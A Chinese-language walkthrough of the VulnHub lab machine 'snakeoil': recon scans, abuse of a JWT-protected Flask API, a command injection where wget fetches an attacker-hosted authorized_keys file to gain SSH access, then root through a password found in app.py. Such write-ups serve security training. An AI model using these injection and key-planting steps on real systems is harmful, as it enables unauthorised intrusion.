vulnhub靶场digitalworld.local: snakeoil
0x000 靶场描述
Recently, Good Tech Inc. has decided to change their application development process. However, their applications look broken and too basic. Is this an application full of snakeoil, or are they insecure too? This goes beyond PEN-200, and some web application development expertise could be helpful.
If you MUST have hints for this machine: SNAKEOIL is (#1): a hint by itself, (#2): full of disallowed methods, (#3): a single file full of problems.
0x001 靶场下载
https://www.vulnhub.com/entry/digitalworldlocal-snakeoil,738/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.106
22 ssh
80 http
8080 http
访问80端口和8080端口,没有找到多的可用信息,发现一个网站链接:https://flask-jwt-extended.readthedocs.io/en/stable/options/
, 内容是网站的配置信息,先放着后面可能有用。
测试 http://192.168.1.106:8080/create 页面是否存在漏洞,没有发现漏洞,去目录扫描一波。。。
目录扫描
dirsearch -u http://192.168.1.106:8080 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
0x003 漏洞利用
访问页面查找漏洞
访问 http://192.168.1.106:8080/users ,发现了账号密码,但是密码是经过加密的,通过百度查找发现不能解密
然后访问 http://192.168.1.106:8080/registration ,提示请求方式错误
burpsuite抓包,改为POST提交,提示username不能为空,先随便写一个进行尝试
提交之后,提示password不能为空
添加&password=123456
提交之后,提示我们test用户注册成功,让我们登陆
既然已经注册成功,去访问别的页面看看,访问run页面,提示Please provide URL to request in the form url:port. Example: 127.0.0.1:12345
直接添加url:127.0.0.1:12345
会报错
将Content-Type: application/x-www-form-urlencoded
改为Content-Type: application/json
在ajax中,如果没加contentType: application/json,那么data就对应的是json对象;反之,如果加了contentType:"application/json",那么ajax发送的就是字符串。
提交之后,提示We need your secret key!
访问secret页面,提示The method is not allowed for the requested URL.
改为GET请求,提交后提示Internal Server Error
尝试将前面注册成功的cookie添加上提交,继续提示Internal Server Error
此时,想到了配置信息,查看发现是cookie的名称不一样
改为access_token_cookie
之后提交,返回key的内容
命令执行漏洞
拿到key之后回到之前run页面,添加key进行提交,查看返回信息,感觉像是系统进程信息。
先-h查看以下是什么命令,发现调用了curl命令
尝试反弹shell,提示Banned command!,命令被禁止了。。。
尝试以下什么命令没有被禁止,发现存在wget命令,并且可以正常下载文件
制作ssh私钥登陆
ssh-keygen -f patrick
mv patrick.pub authorized_keys
使用wget下载authorized_keys文件到/home/patrick/.ssh/
目录下
payload:wget http://192.168.1.107/authorized_keys -O /home/patrick/.ssh/authorized_keys;
查看/home/patrick/.ssh/
目录下的内容,发现成功上传authorized_keys
ssh远程登陆
登陆成功
mv patrick id_rsa-patrick
chmod 600 id_rsa-patrick
ssh -i id_rsa-patrick patrick@192.168.1.106
0x004 查找密码提权
查看当前用户的权限,发现可以使用所有命令,但是只有shutdown命令不需要密码,没办法利用
查找当前目录下的内容,存在flask_blog
目录,查看目录下的内容,查看app.py
的内容,找到用户密码
sudo su
输入密码登陆即可获取root权限。